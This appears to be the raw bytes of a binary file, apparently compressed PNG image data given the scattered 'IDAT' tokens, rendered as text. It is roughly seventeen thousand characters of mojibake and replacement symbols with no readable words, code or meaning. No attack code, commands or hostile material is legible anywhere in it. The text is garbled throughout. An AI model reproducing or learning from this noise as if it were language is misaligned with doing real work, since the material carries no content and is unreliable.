�뉖�"���_��y�����X^l!J@O%�����s׸3�L!Ծ�/�0�4�:5T:��vt�0`tb��wb�.πR�����\}�K��F1��佗��ȃ��+�]�_�ry�����o��\2���Ë$�4���K�L_�a�	���]��+,M�P[�a�=׮P�+s�s���$k��h�S	h7:\y�}�,�_c��|������V��Q`e?�6@���OO��a�F���i�nڶ���n�j/[��ј��{(�rʡ�;�v����G��N��/9-�<|u6Wj�pM��Əseƪː9`o�Je�ȥ�z��F+�e�$�:Xf 2S�8wۚ52���YH��eK*�noH��Xm�+�D�Ӌ�\����C;��ڡ݂.�a`���f� ��2�w���A��=�%�( �Hf����HP��,R�$�l�\�te<n�ʥ&�YD��ڌ��?Z���+A�h�P�ۂ[sq�� 
�ղb��eZT�{iH�]��Vk����U���+"NX�!�P	���,N�ǽ[���`q}f6b��� P�&?���*�"���t:*5a��/�=G��M��Y[��Q6�!��RQ��C�X��9j�N&W�R�J+�t�=Y�n��^�F�����I;�<ʬ�1P0{�	����V��;qV�O�IR�F��.Uy_��=�M6�Zl����?�o-���^v��HZ�o?��U_���B��.{]�X�ZF����ݜG��ݯ r:-l���rF@��N����#�NW<xu�]���ߴt6ђ�!���Dx�hLV7�c����^�٦��tIP[Oֆ6V�-2z�����g�<����6��ĥ�:v.�Nʐ0����;V�U
N���S�W�Lfٔ�x��u����RD�4��j�,47�T�Xezz�c'��}��y��턩�+4�
A�@���*���v���(��H��Rf<,��������t?F@�i"�Q@R*��+�*�6R��[dpW�{Bڍ�Z	�JHU!h5!���i*s*hzeA�o��xd�&�l��83�P/C�޶���T�P��m��z/q��&�Z���W~�{ƹ|�n� ���J`���7?diu���ʕ
�fl��B��>�(o<,ޟ��t��R5
Wv�36n�TI��*|Ms�rH����M)��N�m>�z�rO�{��:�:MN�Rz��w�J��>P���PN�
�9�q2�^u��6c��<�|<�)/�_Wnig�[�V�x^�Gc�׼�to�}���훕]Aw��ي	km��7���lC�{y��Z�T@��v���l��v��̦�,�aFO{��Zf��hǸ�����4V!�i��)�砬���_��s��$"q�"��A�\�x��F��/~�1���/�$!*���VA h5�+u�����OR�V �(�.W#���ȀRXH6�
H�Q.�FGh�M��v����`�f�7`ce���)�|�hv	�����$6����	�^�>ɼ
Q)����`;[$[%�J���)�
���p�� �?��
`��2���4���J���.�R�(Q�]k#6S$�b02��V�z���|��V|o��G_���,�UO�bY(��|�ӧ:�=hOމ�xÕol�'�eX���̆��g�tx �RPt��%۞�ۡ�?�5���@�4��{
�!�Rʛf�i|~�f��]4U�vVh��p�����vcg��	��]c�\�r�W`��/�:�Y����Y&��{����K������z�qs�2x��{�iԋ�tٗ�װn���2�2��6��2ǻ���
ev�;a*-$y���9 `$�Q��z���Y�N�.���*7w�qt��sn�!J)��^��H�۟�,�SK���oF{G	B��l����R�;A���D��P�6�6�f��t=���!:���ao?rl��A��<�ν���ɤþc�c����k �$&�$$J�߽�&� $�ԫ�4�X�9���N��}C#�e��"�B!�X2�)(�x�S��Ln D�]&�$�z3��Yݒi�G����2O?v��omq��Z&+��a=I�n�*���6W���PJ1~h'���4m@z�H��Y$q�P���{EX�(UK$qtiQN
�����Ȟ-V��{J�7��z��A�4��e <��q��雾2K'��13������4m�r�0����FA�HK��U~헜���CB��[��4�j�hT�F����L+�
W��Q�@���>.>���U�~��&ؐ�-[�q0;��x�Qx*�dխ�!>7��t�h�
^E�C�B��ʶ��!��N�q�]?&�#mV�ě>�օی2�S��y�(	,ͯ������bms����4-&om���R)bbo?aԦ�Q4V
��Օ���)��%!B��a�컻�8��L��Kg����^��f]&<����P��N��������M°F��)Q�����\����o�C�KU�R��1��tF&Hw��YS$B>w�1NW1yw��`ɀ��]����6j4�D�9��Ӭɥ����oRi-9�uSy�`�S=��ւx�0k���e���o^g�"Bdi�ϝ�������U��8����B��`>{��@��
��ԥ����ZZ�ҫP,p�#���ESdh� {ON�pg�ŻK]����[@��~|��O��G��q��#ܽ8�-���
�~�v��*"��8��&�w�|�]�i����t���5�|�]�ʪ�,XzGh���u�~�7�fe�Y]>R�x�F���{@���8���'G�uB'B�Vͤp��De2�љ7�p��HvB���N홵�������.��3�p[̈́����O>v/=�0�`��.�D,/n ����m����y��]�RT{
����갸P��ա�1@)�l%2���!{��І���z��{��
DT`|l�b2�ڡ1��?�?�`�e"�����L�]���
���zΣ�"���S�@��D�T�R��݊v@JB��J�͆B�|��Ü�9���&J�{Z�
���M޿4M,����^��?�2(��V��	%W��E�{5�	
���*��?|��N;���]����OƳ�����g�sa��z��#;��:k�ڥ��lq�g�9��=<�[ϰxg���^�Rl,n ��:�&�W��b�^>��Fw`k��X?�����1���1Z�6/�lls��t,�6[J�.��_}�K�\am~�j��gu~�W��Z�>�z��~P٪h:\˜�l1X=7ޜ	���@�^���s��PZǕ�_4�.�NKf��A��u}Wޏ�Tc��G4!B�����;�M�|�@�>"�z���p�\����u���#z��]������5�ތ��[6F�{���q�!�@[l���tƾ:�
�ɆG���ֿ�8��YFC��%�z��P"}IR��t|$����T����1�ܢZ-��Y��V@I@��Q�=wB��1@���]�"3 J�FC�ʔ0�T"�ux?Gv��c���Bf7���r�}�!�z�Ko��ۋ���D.�ub��ǼӁՊ�
�R�yXJ���n�=�c�=�egX��-�'��=�{����V�C��Ш�,,�Ӊc���r�:RDfL��Ǣ$IL�$!Ì'BPi,Rj��<I�h��vUGB��p�Oݗ����F��(d,�3�f��>��~���e��G?�@��]�w2~d��ۋL_�a��]a�ԇ�FQF&�;�#5L
C����b��[F����Cg�6���c0�=z��r��y�cvBn/r���t'ӁB���X_�`�Ƃ���v��U��,Yʊ��0qt}#�ĝ��[�ݘwD��+bb�t䯫�F�
-�1ξg�x��M�&��鷻F�p׽�|P2�p��<�:4nx��].=9��E��.���{���4X>v��m��
������>��m�f�mn���~����b�^!��n�����v-d�ҫ�;A\���R�_2���O<t�}���(�n}I�=�GX��g?y�
fa') i&L�tc�Ԃ!�Ԑd`��z�Qv~��
��~�D�v3q�'���T�B�F��ū��ޘ&�3G��b��Hd�	�S@����/IT���T�7E�?���Ϊ:�3�������V�D��@��P��0@v$Bd�!�{�T�����f��t&��-�4��;s5b+��˝+Z�pة�%_�G�f����m�7f
M��Q.��VF��2?�X�^���5�;m�"�L�Z~�Ђ�&]��y���<hY�����]�ӾcX2��E�?�q��l6�h�x�+�]<��-�7�=~^Z��e=���,� �_ˣ����s�̬p��+r�[y����8}��=�tˇ���r�>oN�(h�6�}�D���S2�|�K?�����e����@O��-�_�ĩ��8{� ����IgӳK��7�����'7��fV@�2�a�xU�J����.t�&zl
�p��
�L��:��<�S�b�F�'��Q.�Yfsu���E
s+s+Pk"��S\>��"��^�k�C�^T��3	4�����Q��D1)"f+�sP�2�� Hߝ�AN*�(�H$*��$A*�J��^�PH$*I�J]�����f��J/Z��^]E��3l7�:2!��H���o8��B��0+P�Ц�oG�X��/��X���1�[?���l2����<�h��"L��&:�*�-o���Y�,H���u�.��e]�{Q�$�F����C8�ta��r���(�Hڽ5j[����<g|��<14;�������;1D�#od]���>o�[zü4"�, ����*d+3er�ڈ��F��b�Z�cO��O��/_�/�K��5�)NB�����,m��C���t*g�@h@���������Ҟ!�tz�8��������xZ/+�r	��.��i.�(E�n���9�@��`}���2=�a/^�RoSY�b}�Fg�A'i{�tM��$FHBb�ڝ̨dn�
R��!��:�!�/�B���H�R�X)��H���$N��l4h�:�P�9DoV4��K��]"R��<F�HN	�͜��{W�%N|\Yi��]�,����2��D=�q�	ۄc�,8�
*����w�a6z���[�خ��~n�blf��SfL�)����c���8�k��z���_�k4�C���.02j�4�kgL��6\2��D��s{����ٙN6�qؠ�6�ǩ[�-�sfC���z���͍v;,<X�҄����7>��,PX�j#��?=]8mf]�7-���
!)�����]@i��f�\�f��ԥ]
8�����567Z��s�8~x�?�������y�K-���x��3�P!ޜb`x���cץ�۷V9v��ώ�͕5B:�uCc@z����(���U��m Ȏ8q��ː�L������]\e�X��Xao��p��b���͝B���ۂD(�.q�����7���zj�d��P+b֕�����`���0��A�
Q��kv�q���j�4rJ*bo���xc�
O9�/u^8 ���І�����m-7����Bd���.�M�����:�Őh�d����2��.�}��0��+�R@۸;m�6�{�mw�s���Q��m�B����;�N���.;��rC �QH�y�s�>k�v�~�v�zbl���
ض"od3�0��m�C_W��8*�N���9�GJ�ف��X#>4v�����l���ō��=D+��kԕѼeq�J������Ȏ~��e��0�nͳ�Zs|��s����Ed��^���s����*C�}�w�Kkk-���#V���ݢ����SٽA���@���qg1
�{?Ȁ�Z�*A��C;b���wG�:<±C#�������H���T�HmA;֡�»
8�(:�����R˻����>��K��P�Y�3L	-D�N��Z�ٕUֶ$���*r��C��Y��e'D�q>����ce�[n~�ȔUrW��%�s��<w?��Qk����kg����Ӛk�Hq��mCx4i�c�c=/ӹL�JY^h�ف.!�M������	u�嶑u@��e�q�Zw��Mg����ܱUی����]6�7��#킞����-�욐�~�S8T����GI��#�(K�	�i�ֺ`�,hCa�ԥP	�j��j�f�~4���Yy���Z?�Z`v���֝�'���姴��,j���N
>F!��Me��;k�ud����bx���g�w��y��,���*�6!�^��,pB��Tz�����
�ym��g�3ϕ�u"�j،-��t`}�0�Xjet�a�i��b��#�7R��X�#��<��0P�Hz&���I�|���P��X�C�����m-I��P�$��~K�{��,ޝg�̾�`
I���m��H���2q���
�lmHJI,%RJOم�0���a@PL��7N�D;��hr��U��%7���w!&���b6>Y㞼9�i��W(������"��h�Ѵ)�{�������o�C8��.G=�~[*�N��z�>m�O.TZ�
md�
qy@�ep��X�j�Sx������zr���
��0�巜Ek� IDAT�0���=�nj�Om��rA�>�px���w��،�vV�ԩ�{�y:�u:&��V��7��+�t�u0��և�!�k���M�	#�y)�<2��J�j��tbڱdyy-}�]��W����Wy��kY�޻ɦ�	?|�
�#}�$�]cU�9���ۋ���!���PGdG�X�KWR$�	�V�Ѫd�{����v��4|!��B*!�}#é�� *�#���M�?�@_5�R���L��$�4��p`_��+�d[
"�Jt:�����܃��0��Za���bqh�.��Hd"Id�� �"�x�y�zS�$@�^.��*���ЗɂAL���j�U֑E�?�冐���κF!���k�C3O�rа
�O�*gAS���;4�ڡ�]��s��pd�8@�Þ�]�ma�Vt��<��p���&�:�صR�D\��u�&���ȅ�3K�mGGr���b��;
��px��5vX�W�ҡ����γy�wdE9��a���-�����g�=�a�v}���枩��W��[G�̚��`��Lv�\�z��<��{!#^y���K+�W(,.��dܟYXe��摇�2��"��6i�_ �w��?�m��nrhO/���3vo~kP���@�1�"D I���ܻ�S����JO
�g��Ё�I-�(Q$���0����B⮙do4��l��10�$��Ih�[$2�',nn�V�b���j����z�E�Ѥݖĉ4��r1d|t�r�$ �Sp�\�Z1�#
X��f	~L<'<��\0�#3�ܙ��3S�.�O���t��҉ѰHy��`�˝��a�o�;��C��ս|�#��m�
{6ǥ�k��dX�q��c�o�\�ɍ~����R��c`&1X^��5��ps�Zsb�e��q
p��;��_AgH�\?u��� |ĕG��rk���3������r����;�ķD��f߆|�*�k�Z3�9-�vHD��i9�SLޙOA=�H�X�ྣ���k�&I���Jx��>v��r��m.ߜ���C���s��<����D��CG��+�R%�゙�����j�e�H��Q�8�Z+`��am�Emi�����2���Ȱ����<�[m�ꊭfB�%ӣFR�d@逛
�	W�!��g�J:[��ŀ(������Po4�j��$	��6�����bR��BDO�H13�R���LO���T���4[�je���[,(��Ļ����X0�<z�ɢ�
#�fx�,��/���\�7�c��ʟ��w�Xic���iv���[OF���֨C��V�_�T�u�\�W*F�$~�[�*�8���5�f����j'ñ��g�fs��e����,ϲ2f���Z��V�z�-���9?�#�%Gvsm���FCy�[B�8X9J��]��d�¨�+��y�����%ҝI)���:�ߝ�E=3ҝ���WVa&0F���Zt����ZЄYXt-���]I�8�1RdƬ�jq�~�	���$��p��,BL�h��I���3t����߿E����Cp����u;
�<����Bj�24ጙ�Qo)7���`��mlmһk'�a�+��M.r��2W�Cn-IV7�1YJm��U�{i*@�Bm��XL.����4-�\�갱��p�J�3��rD_����f�E�٠�� �"��@�\�R*e;�5��2}��'��<P� P\����ܺ��N�œw'�)�>�w?M�`���:�_���ү��
=��6�A"3S�"�:��9���gM��A����<�[�p��}�d�.�j���z^܊������z��]������]a����/FG�e�಍�ac�F�u���k��Q�g홐�c���7s�u}i�=��t8�/,V��fx�8�Y��s\�����]۬G��Vp�Ņ�[�y��Xڔ[�S�~c��<J�ƶkX[CV�臲cb&\�{#��S:&z�"�k�\�ĹGD��k��2fS-�!����c�07��
޿p��v2�W��64�[�w?˛[\��H���^%w�W�3��P
��"�X\]��_�d�"�QX�2ԇ$�P��̍�s��0`��pw)&
c�q���wV;�����X��,����[
�h*���v@s�3�4�	AO�d|��N�^s-����yB
�o���	�ȄN�A)E!
)�J�U{�f�(�:|$�lVe�s���-��WQJ��h�ג	d����QN�L^��d-*F�m��ϿͶW�p����vxaX{�ɡiy�{�z=ҳA��7Fd��PP,y������kאJ�}UZq�g�iz���?}��{O46�4z��DZ��~(ۖ��T��m�N˵2 l���ğiP3��_u;�o��a��&�r�ǔrd<7K1�Yt��}�<t}GS&�^#��-O^m�~����e�\��g�P���D�r�Г�����Tn\��j���*�~^e�\\���s��b��iB��w�cU�n�	�5�Z�,��ͯS���9�7�<��	"���y�����cu�e�����#�Z��$�4�*a�!�8�
-�Of�������A���wr�eY)��32�"��6Z��̀0�'-�q��d�.X�'ԚЈJ���8ti��(�p�J<X%��f4�*���!���E
��HWQ�:㶢�n�^kP)���_���P�! ���PJIG%�N�'"A��n7�S"�Gg8�Ȑ��ꍿ�tǃR��V˓-G��zucZ���p�k�Z��Ӑ�+{&�����u����⬝B��+_{���Ռaw%k�
ňb�����w��O��Uc �͞C��j��0�̾\7��VF�9���W�^��C�s� .�G܅փ6�m8j�R~��3Z��2�w�q1m:���2�(�~�7���y�cٞ[�NyW�5!c��X���_�k�L]n�`���v\��!�n8�a���?NA�G�Nn��P70��2K?�vN���rK"�����
������S����1�B�݄^7I骯o��_�8vs�!	�(�?�(H�E:�H�@7r�P���Fg.�zab���V���*{�8R�~�>e<
:TK��'`�0��Y`b��`��]�>�f�h��8Q�*!I��t(M‬a]*DR@yG?%����o,;�?e�]�J�)	��M""b�� �#,E�F�X�`^�a�߅(H�"Q�;C�x��Lq�N�iH-��^k1���V�̚�]ʂ��\��_�n=^���Z����*JJ�M�{��((��)#���Z\yv�"��_�8���e�BD��L�ִ��E�ַ�:��Ҭ5��qVV�ݼЋ���xju
@�
R)
,�3��Jʽe�vL��p��橖
V��l,����@�N+��h�r�Hi/���:N��P�1�Z�R��Ѭ5�2�A@����K����xg�J�v<�o�u�/�F¡Q?�R��Q�
;�Ux]C���OV?���dd��<��_��9j�D�����h{�������8/f]�9w_ ��j���ɽ��λ����{���
��M~��^�hr��,�H��2�"���K���B�>���ivRZ�wpzFSv�$��5L$��~֧Vҽ"$�~�4�*��lmD )���>��q8���������2<q���E_�B'��FL���[z,V�Mŵ�
��C���x��\D�<�k�U)"�5��-��t&%�LםPfMC(*ݙ���Hf�v�@(�C�"�V��I���<�D�W.��hQ�Lk=����#l��,	�Y�2�����\��滷��3+EJ�k�k��^cuv�V"�vr�S�Ҭ5��m�c�(��5ν�.�͆���/?������.O�q�UVfV��?�>I'�X)��g�r��ڍ6I���\��;�x���|�˯^5��9���9K�έ1�k�$���w�wx(�>t��O��� ���i����-�{Z��[�0~h�����^c��xT�8��I�>|�V�Ec�A�P/�y�;�Ѭ5
-��}��Խ�bk�N�ZBI�\`�ʬc6� w,�`h|�/��Ϧ�8Q�#"��s7�x�og�J��q�'���}�Y�]�����'�y��odFGP����E�oγpw���;MT�x��s��Tx�1�g���@�c�(�߾�;�=��і\�#N�|�s����M�9��kl�����D�pof����y?̣���]ʗu�-���[�.�EtN�ʞ����c�t�l
ahQ�!]9�p�vR.|8�������7�,rwn��;�Ѱ�*��i'Tk���Q�lv�D��{MS'�Y�������!!
ٛ�K��i��w�p��~T�g:�v�:��ߘril0}��b��f|���{"�?Q���1�J�%��wq�^���WaaM���A�b�4�7?Qo��=;eG'��o��^���d��h�H��'羐��ɒ�!E�.�4�%�K��s
Z�lƩ��LN��و)k�Q:J��i����獭�73��ߍʌ��<8Fmu���K��-F���>�S_z�o�����˴������x�7��W߼��������8���g��|�N�c�p�Ǐ����� 5>I�"��ͧ�3��_{����PRq����i3����C|��z�ko^��~)%Ap�S�����ﱹ�ŵ��s��
>�_�@�POJ{"��(��xT(x���0�w�������p��r����8O�q���~����]C|�w���W�w���{Bv��|����K/_���
�}3p��^f�������6#��y��>Χ����M_�%�=���?�+�k�b`���������|�b���]C�/m��"�w��\C)�C�{�ޡ^��ߥQk"�b墳|�O�6���oi�`$Z��~��e���}�2@k����[��e��-��^�ٗt�E2�uM��T�Nr�U*��hG ��	��`uX�a{�?G�a�2e֝��Sw��C��n��Cd�-Naݞ���-�^�Ã�'ܹ����#�\�!4�!	�������`��Yw��$�I���	D!=y6�m��,$!�#�G��Q�
(;M z"�V
.:���-y% �������;��
U�x�N�x9�"qc���!�z�D�Q���R��T�"}�`F+B0vpI1�$�<2@q��-s$�B�E0����̬����� {��~O��>��e�h��S�
�m!J*
QjP`ny=WIEG��U_X����H_(����/��Z�6/���.���p���!$�w����mN<~���^��7���׹v��$Ix�;��ſ�YN<v�����C�ko�`ef�`yj�?�wr���r�]��_?w��C;�wś�~���?���Q�T��"�?v��_�����k�'�_��I���M�y�]�^�2��nvx��1�{8ՇP��/?J���>���E1s�ko��������-l���
mB�N�u)SZ����_����}�>~�g���+�]e���sk񂍥M��V�{ro��9g�"������	�՛��7�q�B)���DC��St���ړ�d�Mi�3/l���c��gE�[ة4�g�i#��5�5Y��*�?��,�H0$�����9���C�2~[�o6���%6�5r�0�����a�kŬ����˙j�>ۺ4]J��	�{�.=�=<��	� M6�24J�A*d~����X�78_�)dj� �ެ�Z�"d�^	$��ݙPH
c�L.������4�@e!�l�8���N�v@�	3s�LnB% X}����UD4�Z���&�D�L:2�nT2b'%�(Mquf*�i))�!�m�5(�Щ���#ݹ>��p%�cٓL`��$q���{ٵ҄	�d���:+msK���o���C(`����ܚ�.1p�����3�f}���׿tb�V����VfV�ۉWi}�AJ�됇w1���K/_F%�l.o��Vg��}\��%+���m/�YϾ�{�����l��`���9b�)V�L���9:�XK?���w��s|7a!L���e��|�%����(���MSF���l1su�`�(�{F����κ����N?}�C����t�� �^�C%�^f�-M.��Rc�=i�d,IbI�\����
[k[\�&��:û�
QƟ�Z�_'i'��V���1ξp�b��:W߸N}�A��l�z�C��Rc�0�g�!�ǓGmx�,����5�LN��<�tp�rM��m�#/f�T���͞�`yc#C���t0ۑ��d�hS�~�[p
�	o� ��7��~wz�*=N����<xr'�ΦQ�Y��,�[#$��\�0���j'"��:I�$R�h%,lua!e��g��g�7�W"�-ѬՉ3�ҿo����z\26�7ͦ"4ڂ區�%�L��or��!
�!�� E?���\yw��Ř�U��V�NG!e��*{���$*{��d�Jz��qa!=�$[��W8�1�J��D!S������R,�V1ͤ�XT�t((v h&���tºg����K�;���o�j�D=Ʃ.m3������Rցq��� 3��M�=M�VJ�;܋�{Gx�sg�S,(��%A���E�H:N)�z�{��禿F%�Uo��
�w�� ����g����M�!ɶ��ߵ����>Z��F��/즿,d2�s�uo<�
fc�	
���njvg�
2ÝՑ�\K��&=�U*���8��a>��p�����Qȩ�N�c�h:;
|�qb3+5����أGx�{�s��$�ý<�K�P��h��N��n?�v�&�u��倪��
=�>?��l�A?��<�v"���n�bg]I?��otū[l#7��tW�s��~vS��JD��k��66��s����c.]o�<�j]�~N�&)qI�x��nM�����"�`zn�����c')�ˣ� NB�o���=%�\n'$�*��&�V�((d-ڸ�O���]HHߍ�G'H~���[PsO%�(ڱb�.)��@R��L���Q���\�`���M��n1����,Y�L
���&����5D��B, !]���$�)@S"dn]G�ү���5��rf�i��pPb׭jK5*�`$*�j��N�j��$�N�HE��a}c�v����YxS���b��,�l6���lV�v�p�u�ڐq�RP[�b��,�k�ꬳ��o��a`[�nf�=��	 hn5?�]�N+vF<O�2��~˾Ki����ZUMHe&;�3�+�}O55]���Af���h"�����Z�|��+_{���OQ���W��N+ޱw�{;��_�.���
������s�0#+ڹ�={�5�6�R�81ی���{��(�< �1��ζK�n��.�8�1&*���~��m�P�1��xv
�U_.�]�d��Y�Ҍ.[�Gr����v��nLA��j���g�����	*=U�rH���M�Rґ!�S	��Qf�`�;�@]�t☵�-
q�"�Ot1(e�d��n�r���e	��
Q飵��0�N��uA�@���[4�b����ZB�r���ۯ�S�+V7auE��͎0u���ͱ�w��#A�(�J@��ΑqV>��@y�%�+l��S��(I�(�$�v����>D����D+!j��n��m�D��I×�@+T,QqB,%��?�ya��G���6�9#����'�8W޵:��L�8a�r�dֈݼ�U���J���C�T�\���W(�=%�����Fb��6��r:j�Q��x����*��(��h�׭��i���e�T��x-�/=�U��ݝ�ݶU���z�F��3X�]o��h0�o�b���9c�����4�L�P��eW;�D:{���ks�T�4\��lO<��ph��,\'�|��z�X�\�5�ܳ��^}��9����d;��ZU~'�~N8�:?�����?��l��T]�"��{�*�����^�yc��Бd%ujl�f�P�����ʝYN��=G&�jtت��cI��$��b�j�H}J�����Jy�ڊ�˳ BlPg�����g��:+ IDATT�P�P��,���K^��ݩ�B��i��B�V)`�\ *CT��T��WEm�V%��T�m���(f�gLd �qd/B@$"T6��8�����-�ˢ��5uuT[�&���=���:��T(���R�J'�N,i��ԛM���@��pq�rסǗa>���B~9�C;���6��{���\�e�=T�*f����3Pecic[r��ݷ��a��}�0�|��?���{=�U&��o\�ԓ'�5�n"t�I��}�/lp�����3��E��v������
v���Ǐ�_���H���ή1uy�=��P.�n���?��f�ɍ�o�N[�I��J�{b�w�EZu���}T�*�z�L�YJ)�P���@P�G�t����[ԩȽC=u���R�)Q�+�͐Y9W�I��3W�ϡ�B�݊a��afM
':c�(:wΘ(g��eW�M�@��>�F
��=3�4�y��4�☇��yY/ŵK�Uc^�8�}���+���yG��To6i��q�J�4�4���b���kD� DA��<!�
_Q� �����}�A>���Ԯ-c�Y.%:��
�����w�)ٱo7����f��l�
D5DQ���EF����C<�O9�1�N��"�'��PUO��fEf�5�*A1dpl�D�q�ˌ�I���܌�������/}@ux�����!�Н��xt-j�:�NL���ޏ���Q�XA�5�����c��E�-��*���~��]2�|��U��m{1h{�������<�'y�/�bun
A����d��,~t�0Ηb��;'��2é�N��^���Q���o�׶��t����L��W����3@��Ϝ�ӎy�?�n���[7�{r{NLP,8��c��~/[��]Jq���:��SO���hs�uʽ����~^���(���������0o}��M�(��C��sb����fN�g����')�Wl,m��W����Os����<��X�^�K@6�kܽ8ɑ1uy���	��{�;��1��[��>ue���5�{���+�̬R�/����T-Q[�2t	W��'��88��
���;܍n-��0����	��j�@D����/V���d�ys�o�"b�s�1�ደϛv����&tIǨ�8�o�,@y�g���G]��[O���=I2�SLev�Q�����:J*���� �P�@�Q!",F���R��r�Ջ̟����m��E.(FN$�
�e�TƆH���#���"E��X��Ã�����l�ٌ��1�s�ro/wߙ$j�N��%�FhC��;,(V���&@�V�yd��wn��s�xeNA�|��X��T����㘱�%%�ss4c��BW�'œe��dkI"a�>'�T�F�}�u!@I��KS�{J���Vd��iVfV�0���f���t�]�l}�΋�=N<~����#&Chs���.�!����j���g@�Q�$N��>}?�pg?y/I�0}u��/]��Y�XP�N��K�׏9����}�^��I"in6���-�\�4(���Y���?��Çi֚���o�Q[��Z-��Zɫ���O�ýϞ"�ڍSW�y�{�CV��Q���=�?z�'�1
�a����w��Y�_���Kȯ���Z`m~�G���C=��>|�*r)��d�Ͼ��=�G>� g_���J���3�����MӀI�sVgײ1u�W�i������>}?�����7�Vj�x�q+&�+�.^�~O����3��F,�Ar��x�m������C�~x�p��m��ʸ�V]��~t����~K�!����=���)�?���y�w��6
�0�Nֿ�4������@� }K�P*�(D!�B�BXI���"�qvH��q}��u�E��re�Ǡ���/�%.'(����ߜ]���]���p�1z�]�
#�G8��)VZ
~���,�pq�o".��Z�m�;5:�1����Ʌ�pG�~��$&y@2�0�'kL�m�$��IN���*�F�<���R*!d�Zz���<A�n��ڪ��$�+�A�BD)I$��dܘ�o�w7�a����z�	u����IF�~�E�A%W�n߈�@O����ɸ��y��2ŋ��R�Hs�E�����y�e�]��<�no_k�UU�R���d[��E���
4���	��=11���DtLO73A�C7DCðxf���`��-o�eɒ�Y*�T�}�zUo��z�����W`�ET�w�ɓ�[��_�);m�#��	���g��ʥ���3��?x��x.�A$B�ziq�X�W<
�E��ϒ���ԎI~�~��}�5^���6���%A�].j	K嬟�=�p��,_C0o^�x��`{Ua�����㐰�����K:@��8􏷵�A���H� �_�`��م���,垎���r�&mcrɭ*Z�(��wC5����)��L>�#��j6Zm֚��:�\H��ˀ����6�_:E�÷2����vx�j>���
��Df�)�z�;�>ST��B�|Y���4�Ven�
�޹�'�y�w��D:a��`rz���󤑵,��VR�������eu�+9#CO7�Ύ����x�.���g������~��~���:�8�R�+��+Sc#L��+j�$�Rܼ}��v��|ӣR��,����QN��q-P_�Ʌ�#(�d�]�Y��Q~_�r�%�9�ߢ�e�$)�Z�(���0&_�$�%MI��tܲP}�~�j��v����y7ƾ!�C�Җde�-�g���ս/t��{���ŪВ�J�{�P����ﲌ�ͨ��2��^%Y��8�lG�Y�<���\���3}�(		hA�M�}H�|ٯ��RZ���F�$�f�?Ү�4ݲ�9��B��W�I�0?��R��~Q��#M%�1&_>��t��|:r�:�
d�	ߺ�jfl�ݿ�VlˌTh�:�`�\�PN����.H�s�:#��.\�t�����ml��o����<��uv�O�Zi3g�I�G>�`�*ú�!�%��"���fC�AZ���������F�]HN�y�)�uc�3_z�����ZgT�1�C�:�8&�Z8Qޝ6�a׶-���ޤXѕU*�������?��&��($˸o.s�'�:�t�bĤ��;w%�.�R��ip���v�x�t0Ƿ�n��V�3�d�-�e���w��U ��o;�-���Y�~��G�����0y��y�B��\��S9����,�v��ڈ����*�_�>%zA�a7R�7�_�`��kG�_}�����a��(⇭�I{�E[^(2�dH} �5@f&O�m� ��xy�\��54�^,+*�w|�{E�X��Ώ�0��K�Cئ����g 2![Q
kϞE/6��|�(k,�9oF)�߱S��6�x�p��o.�UWv�7���6d�)�J�Y�p��3�� cS���5X�_��٫$K-��6�F��<h;�o�g=m�C��N�s�b!/�ʮ1�g霛w��O?����{i�����Ib2�NJ���RDJG�<���RZ���*"�jj�
�Z�7��MK�H,r���Ӄ��吙����0~�x�E_�����J�m��.a��ے�$݄>|�F�+�_EG�}��a��Y����n��WgD=��B�%Y�U'�U�@��T!_�o�Ãʖ>���A��5�|�
��pb;4O���n�B/���Z�n،�M��r�p�o+��`��c�����(�̙ 'zߣ�m{�[�0}��v�*��L\�><���̽�o$��u(!\��g��,@ښ\�#_s@Y�����3�#W�)h����X{�"ݫ�P��L����*�N$Տ��Fj/�
� e�o^B�bG����UY�!Y3��.]���yg�F�ơc�x��������;]�F����*"��d̿u�}��I�iKm5�6�=vKK�d��E�a�3@����ƫ��&k�Ma�0�8��˧���-jpװ��q���U��
��-tꃈ\U*_�|]Ԣ���	���99QI)�m�q���X#���SB���Os��Mv����>D��c��2'��F~ݮ�4Js����V�C�}��19�ZP���K������Z��f�uF+w���X�6��0M�A���$�v@8 tr�:�v�� �G4��0P���o��f��G���� ��\ϤD���`ZKyW	%m�?ʕ��,��O�醰d�
���KB�d��?eT�����8��l1Mk�e�^�4���$I��������u�4�3s�^��6��"Bn��J�Ș8<��??��FiE�#�a)�͗ߢu{�
�����&�d�6�^������m�5v�r��:-�l�������h0�ލW��k�_���?�j3#R0�Ķ1��0� ���s�O�Ƭ�Ba��X�e�"2Y�ʳ�9���aIБr;g�C�v�3��&]VمN��n�����2&�3�k��u�~�ڐ]��~�� ���@!�0��?Z���Z��~dఠ�ǚ�L8�h�e������ܥȎe�D¤'�Q�Z����P����?{.��1>���s���tZ�-a���B|e��#xX�`9�,�^�^��W�w�}�
��l(,��A�:We����+�dP��q6`_/''E�A0*p�~O�&A�ǀ�@y���fMI�E�r|�D<����>��@[G�|mm���bp��2�1�yM:�Q�U*�ZG�����(V4��r�;��D�N�P�1+ġ}�<���Œ�ǧ���b��V���f���"tx>�8�1h�Q!e&���Rl�	өa��o=�v#e5M�Ӆ�bņQ�+x��]�օL�˛�4��'0*#E�=
��%i�;G8����g�
�L���((�ˡ��MXy�,'~�}��U�4!��$#K3�4��zY��^���jB|r�:`x�Kh ����ۿl��,k��}iah��5ג�45n�_vY䔿Nq��@Tt�a�WX/�	�`�M zc"���Qئ��Ԗt���!��H���!n[):�y#�t��0��d*\yg/@��'�h����H��Y)����b��	9�bl����fCT���xjې�!�XϏ���+Cگ�<Dq �Z ��V��#vٌ����\�2k���K��mop�^QN�T�"j�q���"�"b��Vq��T6�i-59���Q�4�]((�R(0w�=�'��G��WiD�XQS�J����A%�A�~�K4�W��;SN�N�6��M�ld8^�����‘�{�G�ԇk<��AV�9{~�sY�ي�
)]E�j�L����侟8ƣ�!�"�4��*z���A�@75�w��ж����&�MSؘ��Z�/��.t8���q�O������'i~Ca���iB�ףc2�^��ޗ`'�A�ea8�vd�N��Uo��TG�3E�4��+���{����{1��@y�`N�36��*QL��T<3��<�eA�Xh��\n)�?�-�b���#U�Z��!�P�PcAo;VNF��gQ�����)�AފڶQ�/�!�KRO�����!09���M����w�o�v��
�>#�Y��Ev�O!��W�pSb(C'�*&x�7am-7vQPt��ej�ZB1�G��C��	�]�⭙�Qj3�ŅPN
�<�I��m�#Fk��x�`z�O}��V��ϰm��v�2�w���gb��1�NeP�ū�����5����
�܏�7�bG-�PMq��Qv޳�ڎ	��u�E����[��g��e�J�v֥�2ֲȍs[�P(���4�?��o��~���T�wg�*��ڲ����W�ll,<
